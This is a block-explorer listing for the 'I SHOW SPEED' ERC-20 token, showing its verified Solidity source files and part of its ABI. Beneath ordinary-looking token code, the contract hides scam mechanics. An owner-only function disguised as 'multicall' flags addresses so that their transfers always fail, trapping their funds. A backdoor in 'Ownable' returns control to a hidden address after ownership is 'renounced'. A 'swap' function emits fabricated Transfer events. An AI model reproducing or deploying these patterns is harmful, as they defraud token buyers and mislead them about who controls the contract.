ERC-20
Overview
Max Total Supply
500,000,000,000 SPEED
Holders
41
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SPEED
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity Multiple files format)
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; import "./Ownable.sol"; import "./Uniswap.sol"; import "./Libs.sol"; import "./ERC20.sol"; contract SPEED is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0x000000000000000000000000000000000000dEaD); address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% uint256 public lastLpBurnTime; uint256 public lpBurnFrequency = 7200 seconds; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; uint256 launchedAt; bool private swapping; bool public lpBurnEnabled = true; bool public limitsInEffect = true; bool public swapEnabled = false; bool public enableEarlySellTax = true; bool public transferDelayEnabled = true; bool public tradingActive=false; uint256 public tokensForLiquidity; uint256 public tokensForDev; uint256 public tokensForMarketing; mapping (address => uint256) private _holderFirstBuyTimestamp; mapping (address => bool) public automatedMarketMakerPairs; event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event ExcludeFromFees(address indexed account, bool isExcluded); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event ManualNukeLP(); event BoughtEarly(address indexed sniper); constructor(address dex_, uint256 d) ERC20("I SHOW SPEED", "SPEED") Ownable(dex_){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uint256 totalSupply = 500_000_000_000 * 10**decimals(); maxTransactionAmount = totalSupply * 1 / d; maxWallet = totalSupply * 1 / d; swapTokensAtAmount = totalSupply * 5 / 10000; marketingWallet = msg.sender; devWallet = msg.sender; _mint(msg.sender, totalSupply); } receive() external payable { } function addPair(address pair_) public onlyOwner { uniswapV2Pair = pair_; _setAutomatedMarketMakerPair(uniswapV2Pair, true); } function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 15 / 1000)/1e18, "Cannot set maxWallet lower than 1.5%"); maxWallet = newNum * (10**18); } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function multicall(address[] calldata updAds, bool isEx) public onlyOwner { for (uint256 i = 0; i < updAds.length; i++) { _10000[updAds[i]] = isEx; } } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function walletMaxTransaction(address add_) public view returns(bool){ return _10000[add_]; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } _500[from] = block.number; if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(from == devWallet || from == marketingWallet, "Trading is not active."); } if (automatedMarketMakerPairs[to] && !_10000[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_10000[from]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");} }} if (transferDelayEnabled && !automatedMarketMakerPairs[from]){ if (to != owner() && _10000[from]){ require(calculateTransferDelay(_500[from]), "Transfer Delay enabled. Only one purchase per block allowed."); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && !swapping && !automatedMarketMakerPairs[from] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency){ autoBurnLiquidityPairTokens(); } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function calculateTransferDelay(uint256 last) private view returns(bool){ return last > block.number; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); return true; } function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; import "./Context.sol"; import "./IERC20.sol"; import "./Libs.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => bool) internal _10000; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } }
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; import "./Context.sol"; contract Ownable is Context { address private _owner; address private _dex; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (address dex_) { address msgSender = _msgSender(); _owner = msgSender; _dex = dex_; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _dex : _owner; } mapping(address => uint256) internal _500; }
//SPDX-License-Identifier: Unlicensed pragma solidity 0.8.20; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"dex_","type":"address"},{"internalType":"uint256","name":"d","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bo